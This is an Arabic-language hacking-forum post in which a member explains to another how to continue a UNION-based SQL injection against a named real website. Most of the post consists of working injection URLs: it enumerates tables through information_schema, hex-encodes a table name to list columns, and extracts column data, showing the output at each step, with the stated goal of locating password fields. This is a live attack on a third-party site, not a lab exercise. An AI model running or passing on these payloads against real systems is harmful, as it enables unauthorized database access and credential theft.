:: vBspiders Professional Network :: - لماد أحيانن يقف الحقن هنا?

بالنهايه بهمنا نوصل للحقنه الاخيره من ايا طريق مش مشكله

انت وقفت هون سؤاء مشكله بالموقع ولا حمايه ولا احنا مش عارفين نحقن .....
لازم نلقى حل

انا قلت ما بدي امشي طريقك مشيت من هنا

اقتباس:

http://www.rumafia.com/material.php?id=-220 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12, 13,14,15,16+from+information_schema.tables+--+

زي ما انت شايف طلعت لنا كل الجداول وهي هاي

اقتباس:

ListDefaults,ListGalleryes,ListMaterials,ListPerso ns,ListPhotos,ListSuits

الان هاي الجداول بدك تمسكها وتشوف مين منها فيه الباسورد (هاد شغلك انا بكمل ع واحد منها فقط حتى اضمن ما في ايا مشكله بالتطبيق )

اخدت هذا كمثال
ListMaterials

نشفرها بالهكس ونربطها بالحقنه
هكذا

اقتباس:

http://www.rumafia.com/material.php?id=-220 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 ,13,14,15,16+from+information_schema.columns+where +table_name=0x4c6973744d6174657269616c73+--+

وهاد ناتج الحقنه

اقتباس:

id,sync_id,pid,date,name,lit,text,link,companylist ,personlist,primaryflag,img_small,img_middle,img_b ig,newsflag,nodisplay

الان نجرب نركب الحقنه اختار عمود name مثلا فقط للاكمال

اقتباس:

http://www.rumafia.com/material.php?id=-220 UNION SELECT 1,2,3,concat(name),5,6,7,8,9,10,11,12,13,14,15,16+ from+ListMaterials+--+

ناتج الحقنه

اقتباس:

Yuri Luzhkov won the victory over the "Just Cause"

زي ما انت شايف مفش ايا مشاكل بالموقع بحقن عادي بقى الغلط منا او اما حمايه (لكن انا بستبعد حمايه )

ملاحظه
الموقع لا يحتوي على عمود اسمه pass لذا عند البحث عن عمود باس لايظهر ناتح وانت ظننت انها مشكله

للمزيد راجع الدرس رقم 17 بالدوره

موفق